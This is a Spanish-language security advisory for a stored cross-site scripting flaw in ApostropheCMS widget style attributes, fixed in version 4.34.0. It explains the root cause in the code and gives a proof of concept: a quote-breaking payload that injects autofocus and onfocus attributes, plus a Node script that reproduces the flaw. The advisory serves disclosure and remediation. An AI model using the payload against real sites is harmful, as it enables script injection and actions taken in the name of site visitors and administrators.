Media

ApostropheCMS: XSS persistente mediante serialización de atributos de estilo de widget sin escapar

  • Publicada: 21.10.2026
  • Actualizado: 21.10.2026 20:23

Resumen

Los estilos de widget de ApostropheCMS admiten campos de esquema definidos por el proyecto. Si un proyecto define un campo de estilo de forma libre string con una propiedad CSS property y sin selector, el valor controlado por el editor se renderiza como una declaración CSS en línea. La declaración resultante se inserta posteriormente en el atributo style="..." del contenedor del widget sin escapar los atributos HTML.

Un atacante con permisos para editar el widget puede incluir comillas dobles en el valor del estilo, cerrar el atributo style e inyectar nuevos atributos de control de eventos HTML. La carga útil se almacena con el widget y se ejecuta en el origen del sitio de Apostrophe cada vez que se renderiza la página publicada afectada.

Esta vulnerabilidad está emparentada con CVE-2026-33889 / GHSA-97v6-998m-fp4g. El problema anterior permitía salir de un elemento <style> mediante un valor de color malicioso. Esta variante alcanza un destino diferente relacionado con los atributos en línea style y class generados automáticamente en el contenedor del widget.

Detalles

Causa raíz 1: Los valores de estilo de cadena de texto libre conservan los metacaracteres HTML

El convertidor estándar de campos de cadena utiliza launder.string() y validación de longitud. Esto realiza una normalización de tipos, pero no una codificación de salida para el contexto de un atributo HTML:

packages/apostrophe/modules/@apostrophecms/schema/lib/addFieldTypes.js:296-333

js
self.addFieldType({
  name: 'string',
  // ...
  convert(req, field, data, destination) {
    destination[field.name] = self.apos.launder.string(data[field.name]);
    destination[field.name] = checkStringLength(
      destination[field.name],
      field.min,
      field.max
    );
  }
});

Por lo tanto, las comillas permanecen en el valor suministrado a través del campo de estilo.

Causa raíz 2: El valor se convierte en CSS en línea sin validación de contenido

Para un campo con property pero sin selector ni consultas de medios (media queries), renderScopedStyles() selecciona la renderización en línea. El extractor genérico concatena la propiedad configurada con el valor controlado por el editor:

packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:171-228

packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs:598-647

js
rule = `${property}: ${normalized.value}${normalized.unit}`;

// ...

if (isInline) {
  return {
    css: '',
    classes: [ ...storage.classes ],
    inline: stringifyRules(storage.styles, true)
  };
}

Por ejemplo, el siguiente valor pasa a formar parte de una declaración font-family:

serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'

Causa raíz 3: Los valores de los atributos se serializan sin escape HTML

getWidgetAttributes() sitúa el CSS en línea en una tupla de atributos y luego concatena cada tupla en key="value" sin codificar &, <, >, ' o ":

packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js:251-322

js
if (styleParts.length) {
  attrs.push(
    [ 'style', `${styleParts.join(';')};` ]
  );
}

if (options.asObject) {
  return Object.fromEntries(attrs);
}

return attrs
  .map(([ key, value ]) => `${key}="${value}"`)
  .join(' ');

El mismo serializador en bruto convierte también un estilo string de forma libre definido por el proyecto con class: true en una vía potencialmente vulnerable, ya que la cadena se añade a classes y más tarde se serializa en class="...". La vía de la propiedad en línea fue la que se verificó dinámicamente.

Causa raíz 4: La cadena insegura es utilizada por el contenedor público automático

Los widgets con estilos usan getWidgetAttributes() para crear un contenedor alrededor del widget renderizado:

packages/apostrophe/modules/@apostrophecms/widget-type/index.js:448-457

js
if (hasStyles && self.options.stylesWrapper !== false) {
  const styles = self.apos.styles.prepareWidgetStyles(widget);
  const styleTag = self.apos.styles
    .getWidgetElements(styles, { scene: req.scene });
  const wrapperAttrs = self.apos.styles.getWidgetAttributes(styles);

  return `${styleTag}<div${wrapperAttrs ? ' ' + wrapperAttrs : ''}>${markup}</div>`;
}

En consecuencia, el atributo inyectado está presente en las renderizaciones públicas normales de la página y no únicamente en la interfaz de edición.

Por qué la defensa de CVE-2026-33889 no previene esta variante

El aviso relacionado conllevó una defensa en getWidgetElements() que reescribe </ antes de que el CSS se inserte en un elemento <style>:

js
css = css.replaceAll('</', '<\\/');

Esto protege el límite del elemento de estilo. Sin embargo, la ruta vulnerable descrita produce una salida inline en lugar de css, por lo que nunca alcanza dicho reemplazo.

Configuraciones y versiones afectadas

La configuración verificada cumple con todas las propiedades siguientes:

  • Un widget define un campo de estilo con un tipo de forma libre como string.
  • El campo usa property sin un selector, lo que provoca la representación del estilo en línea, o usa class: true con un valor de cadena sin restricciones.
  • El atacante tiene permisos para editar un widget que contiene dicho campo.
  • El contenido malicioso se publica o un usuario con mayores privilegios visualiza el borrador afectado.

Los ajustes predefinidos estándar de tipo range, select y color no proporcionan directamente un valor con comillas sin restricciones y no se demostró que estuvieran afectados por esta variante.

Prueba de concepto

Paso 1: Configurar un widget con un estilo en línea de forma libre

Añada un campo de estilo similar al siguiente en un módulo de widget:

js
module.exports = {
  extend: '@apostrophecms/widget-type',
  options: {
    label: 'Style Attribute Test'
  },
  styles: {
    add: {
      customFont: {
        type: 'string',
        label: 'Custom Font',
        property: 'font-family'
      }
    }
  }
};

La ausencia de selector provoca que la declaración generada se procese en línea.

Paso 2: Almacenar la carga útil

Inicie sesión como un usuario con permisos para editar este widget, introduzca el siguiente valor en customFont y guarde el widget:

serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed'

Publique la página o haga que otro usuario visualice el borrador afectado.

Paso 3: Reproducir la salida del renderizador directamente

El flujo de datos vulnerable también se puede reproducir utilizando el renderizador y serializador reales a partir de un repositorio descargado y con las dependencias instaladas:

js
const methodsFactory = require(
  './packages/apostrophe/modules/@apostrophecms/styles/lib/methods.js'
);

(async () => {
  const { renderScopedStyles } = await import(
    './packages/apostrophe/modules/@apostrophecms/styles/ui/apos/universal/render.mjs'
  );

  const payload =
    'serif" tabindex="0" autofocus ' +
    'onfocus="document.body.dataset.inline=\'executed\'';

  const styles = renderScopedStyles(
    [ {
      name: 'customFont',
      type: 'string',
      property: 'font-family'
    } ],
    { customFont: payload }
  );

  Object.assign(styles, {
    styleId: 'audit-inline',
    widgetId: 'widget-1'
  });

  const attrs = methodsFactory({}, {}).getWidgetAttributes(styles);
  console.log('inline:', styles.inline);
  console.log('attributes:', attrs);
})();

Paso 4: Observar el HTML inseguro

El renderizador actual produjo:

inline: font-family: serif" tabindex="0" autofocus onfocus="document.body.dataset.inline='executed';

A continuación, el serializador produjo una cadena de atributos equivalente a:

html
id="audit-inline"
data-apos-widget-style-wrapper-for="widget-1"
data-apos-widget-style-classes=""
style="font-family: serif" tabindex="0" autofocus
onfocus="document.body.dataset.inline='executed';"

La comilla controlada por el atacante cierra el atributo style. tabindex, autofocus y onfocus se convierten en atributos activos independientes.

Paso 5: Confirmar la ejecución en un navegador

Cuando el contenedor generado se cargó en Chrome 153, la directiva autofocus activó el controlador inyectado automáticamente. El DOM cambió a:

html
<body data-inline="executed">
  <div id="audit-inline" tabindex="0" autofocus="" onfocus="..."></div>
</body>

El comportamiento seguro consistiría en que las comillas aparecieran representadas como &quot; dentro del atributo style, sin atributos inyectados y sin alteraciones en document.body.dataset.

Impacto

  • XSS persistente en páginas publicadas: El código JavaScript se ejecuta para visitantes no autenticados que carguen una página que contenga el widget afectado.
  • Escalada de privilegios: Si un administrador u otro editor privilegiado visualiza la página o el borrador, la carga útil se ejecuta con los privilegios de origen de la aplicación de ese usuario y puede realizar acciones autenticadas en su nombre.
  • Manipulación persistente de contenido: La carga útil se almacena junto con el contenido del widget y continúa ejecutándose hasta que se elimine el valor del estilo o se corrija la ruta de salida.
  • Phishing y acceso a datos: El script puede alterar la página mostrada, leer datos del mismo origen no protegidos por HttpOnly y emitir peticiones en el mismo origen en nombre de la víctima.

Solución recomendada

Corrección 1: Escapar en HTML todos los valores de atributos que devuelvan cadenas

La rama de cadenas de getWidgetAttributes() debería codificar los valores para un contexto de atributos HTML con comillas dobles antes de la concatenación. Como mínimo, codifique &, <, >, " y ' utilizando un codificador HTML centralizado de Apostrophe.

Conceptualmente:

js
if (options.asObject) {
  return Object.fromEntries(attrs);
}

return attrs
  .map(([ key, value ]) => {
    return `${key}="${escapeHtmlAttribute(String(value))}"`;
  })
  .join(' ');

La rama estructurada asObject debe permanecer estructurada para que su renderizador de plantillas/DOM final pueda aplicar la codificación adecuada según el contexto.

Corrección 2: Validar los valores de estilo según la gramática de destino

La codificación de salida es la corrección principal. Como medida de defensa en profundidad:

  • Exigir tipos select/range/color u otros tipos restringidos para las propiedades CSS comunes.
  • Analizar y validar los valores de las propiedades CSS de formato libre en lugar de tratarlos como cadenas arbitrarias.
  • Para class: true, aceptar únicamente tokens de nombres de clase válidos e individuales en lugar de una cadena sin restricciones.

Qué hacer

Actualice el paquete apostrophe a la versión 4.34.0 o superior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm apostrophe < 4.34.0 4.34.0

Referencias

Puntuación CVSS 5.4/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Debilidad (CWE)
CWE-79
Plataforma
npm
Paquete
apostrophe
Publicada
21.10.2026
Actualizado
21.10.2026 20:23

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-7jg5-frgc-c67w - CC BY 4.0

Historial de vulnerabilidades: apostrophe

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (33) en el archivo
Entradas en total
33
Primera → última
09.2020 10.2026
Sin corrección
4
Explotada en ataques
0

Distribución por gravedad

  • Crítica 2
  • Alta 9
  • Media 18
  • Baja 4

Divulgaciones por año

  1. 2020: 2
  2. 2021: 2
  3. 2022: 0
  4. 2023: 0
  5. 2024: 0
  6. 2025: 0
  7. 2026: 29
Gravedad:
  1. ApostropheCMS: XSS persistente mediante serialización de atributos de estilo de widget sin escapar esta entrada
    Media · 5.4 CVE-2026-112958 < 4.34.0 4.34.0
  2. Alta · 7.3 CVE-2026-45011 = 4.29.0 sin corrección
  3. Crítica · 9.8 CVE-2021-25979 >= 2.63.0, < 3.4.0 3.4.0

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.